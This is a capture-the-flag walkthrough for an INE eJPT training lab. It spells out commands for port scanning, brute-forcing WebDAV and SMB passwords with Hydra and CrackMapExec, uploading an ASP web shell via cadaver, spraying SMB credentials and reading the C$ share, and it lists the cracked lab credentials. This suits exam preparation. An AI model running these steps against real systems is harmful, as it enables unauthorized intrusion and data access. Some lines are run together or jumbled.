Perform system/host-based attacks across target1 and target2, capturing four flags.
GUI access to a Kali machine is provided. Two targets: target1.ine.local and target2.ine.local.
bob may have a weak password — brute-force into the server. (target1)target1)target2)target2)Useful files: .../wordlists/common_users.txt, .../wordlists/unix_passwords.txt, /usr/share/webshells/asp/webshell.asp
All work is performed against an authorized INE training lab for eJPT exam preparation.
bob over WebDAVcat /etc/hosts
nmap -sV -A -Pn -p- target1.ine.local
Port 80 hosts a WebDAV site. The username is bob; brute-force the password (two options):
# CrackMapExec
crackmapexec smb target1.ine.local -u bob -p /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
# Hydra (HTTP GET auth)
hydra -l bob -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt target1.ine.local http-get
Found bob : password_123321. Read the flag from the WebDAV directory (any of these):
# Browser / dirb
dirb http://target1.ine.local -u bob:password_123321
http://<ip>/webdav/flag1.txt
# curl
curl http://<ip>/webdav/flag1.txt -u bob:password_123321
# cadaver
cadaver http://target1.ine.local/webdav/ # bob / password_123321
dav:/> cat flag1.txt
WebDAV allows uploads. Confirm with davtest, then upload an ASP web shell with cadaver:
davtest -auth bob:password_123321 -url http://target1.ine.local/webdav
cadaver http://target1.ine.local/webdav/
dav:/> put /usr/share/webshells/asp/webshell.asp
Browse to the shell and run Windows commands to read the flag:
http://<ip>/webdav/webshell.asp
dir C:\
type C:\flag2.txt
search webdav → the WebDAV upload module with bob's creds gives a session too.Spray SMB credentials with Hydra:
hydra -L /usr/share/metasploit-framework/data/wordlists/common_users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt smb://target2.ine.local
Several pairs are found, including administrator : pineapple. Access the C$ share:
crackmapexec smb target2.ine.local -u administrator -p pineapple --shares
smbclient //target2.ine.local/C$ -U administrator
# then: cat flag3.txt
From the C$ share, navigate to the Administrator's Desktop:
cd Users\Administrator\Desktop
type flag4.txt
| Flag | Technique |
|---|---|
| 1 | WebDAV password brute-force (CrackMapExec / Hydra) |
| 2 | ASP web shell upload via WebDAV → read C: drive |
| 3 | SMB credential spraying (Hydra) → C$ share |
| 4 | Enumerating the Administrator Desktop |
davtest.cadaver is purpose-built for WebDAV; prefer it over curl for uploads.type (not cat) and dir (not ls).C$ access to the whole drive.